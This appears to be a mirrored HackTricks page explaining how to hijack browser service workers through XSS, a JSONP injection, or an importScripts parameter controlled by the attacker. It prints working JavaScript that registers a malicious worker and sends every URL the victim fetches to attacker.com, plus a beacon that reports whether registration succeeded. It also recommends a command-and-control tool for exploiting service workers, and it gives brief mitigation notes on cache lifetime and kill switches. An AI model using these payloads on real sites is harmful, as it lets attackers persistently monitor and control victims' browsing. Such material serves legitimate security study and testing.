mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
135 lines
7.4 KiB
Markdown
135 lines
7.4 KiB
Markdown
|
# Abusing Service Workers
|
||
|
|
||
|
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Basic Information
|
||
|
|
||
|
A **service worker** is a script run by your browser in the background, separate from any web page, enabling features that don't require a web page or user interaction, thus enhancing **offline and background processing** capabilities. Detailed information on service workers can be found [here](https://developers.google.com/web/fundamentals/primers/service-workers). By exploiting service workers within a vulnerable web domain, attackers can gain control over the victim's interactions with all pages within that domain.
|
||
|
|
||
|
|
||
|
### Checking for Existing Service Workers
|
||
|
|
||
|
Existing service workers can be checked in the **Service Workers** section of the **Application** tab in **Developer Tools**. Another method is visiting [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) for a more detailed view.
|
||
|
|
||
|
### Push Notifications
|
||
|
|
||
|
**Push notification permissions** directly impact a **service worker's** ability to communicate with the server without direct user interaction. If permissions are denied, it limits the service worker's potential to pose a continuous threat. Conversely, granting permissions increases security risks by enabling the reception and execution of potential exploits.
|
||
|
|
||
|
## Attack Creating a Service Worker
|
||
|
|
||
|
In order to exploit this vulnerability you need to find:
|
||
|
|
||
|
* A way to **upload arbitrary JS** files to the server and a **XSS to load the service worker** of the uploaded JS file
|
||
|
* A **vulnerable JSONP request** where you can **manipulate the output (with arbitrary JS code)** and a **XSS** to **load the JSONP with a payload** that will **load a malicious service worker**.
|
||
|
|
||
|
In the following example I'm going to present a code to **register a new service worke**r that will listen to the `fetch` event and will **send to the attackers server each fetched URL** (this is the code you would need to **upload** to the **server** or load via a **vulnerable JSONP** response):
|
||
|
|
||
|
```javascript
|
||
|
self.addEventListener('fetch', function(e) {
|
||
|
e.respondWith(caches.match(e.request).then(function(response) {
|
||
|
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||
|
});
|
||
|
```
|
||
|
|
||
|
And this is the code that will **register the worker** (the code you should be able to execute abusing a **XSS**). In this case a **GET** request will be sent to the **attackers** server **notifying** if the **registration** of the service worker was successful or not:
|
||
|
|
||
|
```javascript
|
||
|
<script>
|
||
|
window.addEventListener('load', function() {
|
||
|
var sw = "/uploaded/ws_js.js";
|
||
|
navigator.serviceWorker.register(sw, {scope: '/'})
|
||
|
.then(function(registration) {
|
||
|
var xhttp2 = new XMLHttpRequest();
|
||
|
xhttp2.open("GET", "https://attacker.com/SW/success", true);
|
||
|
xhttp2.send();
|
||
|
}, function (err) {
|
||
|
var xhttp2 = new XMLHttpRequest();
|
||
|
xhttp2.open("GET", "https://attacker.com/SW/error", true);
|
||
|
xhttp2.send();
|
||
|
});
|
||
|
});
|
||
|
</script>
|
||
|
```
|
||
|
|
||
|
In case of abusing a vulnerable JSONP endpoint you should put the value inside `var sw`. For example:
|
||
|
|
||
|
```javascript
|
||
|
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||
|
```
|
||
|
|
||
|
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
|
||
|
|
||
|
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
|
||
|
|
||
|
## Abusing `importScripts` in a SW via DOM Clobbering
|
||
|
|
||
|
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
|
||
|
|
||
|
**This even bypasses CSP protections.**
|
||
|
|
||
|
**Example vulnerable code:**
|
||
|
|
||
|
* **index.html**
|
||
|
|
||
|
```html
|
||
|
<script>
|
||
|
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
|
||
|
// attacker controls location.search
|
||
|
</script>
|
||
|
```
|
||
|
|
||
|
* **sw.js**
|
||
|
|
||
|
```javascript
|
||
|
const searchParams = new URLSearchParams(location.search);
|
||
|
let host = searchParams.get('host');
|
||
|
self.importScripts(host + "/sw_extra.js");
|
||
|
//host can be controllable by an attacker
|
||
|
```
|
||
|
|
||
|
### With DOM Clobbering
|
||
|
|
||
|
For more info about what DOM Clobbering is check:
|
||
|
|
||
|
{% content-ref url="dom-clobbering.md" %}
|
||
|
[dom-clobbering.md](dom-clobbering.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
If the URL/domain where that the SW is using to call **`importScripts`** is **inside a HTML element**, it's **possible to modify it via DOM Clobbering** to make the SW **load a script from your own domain**.
|
||
|
|
||
|
For an example of this check the reference link.
|
||
|
|
||
|
## References
|
||
|
|
||
|
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|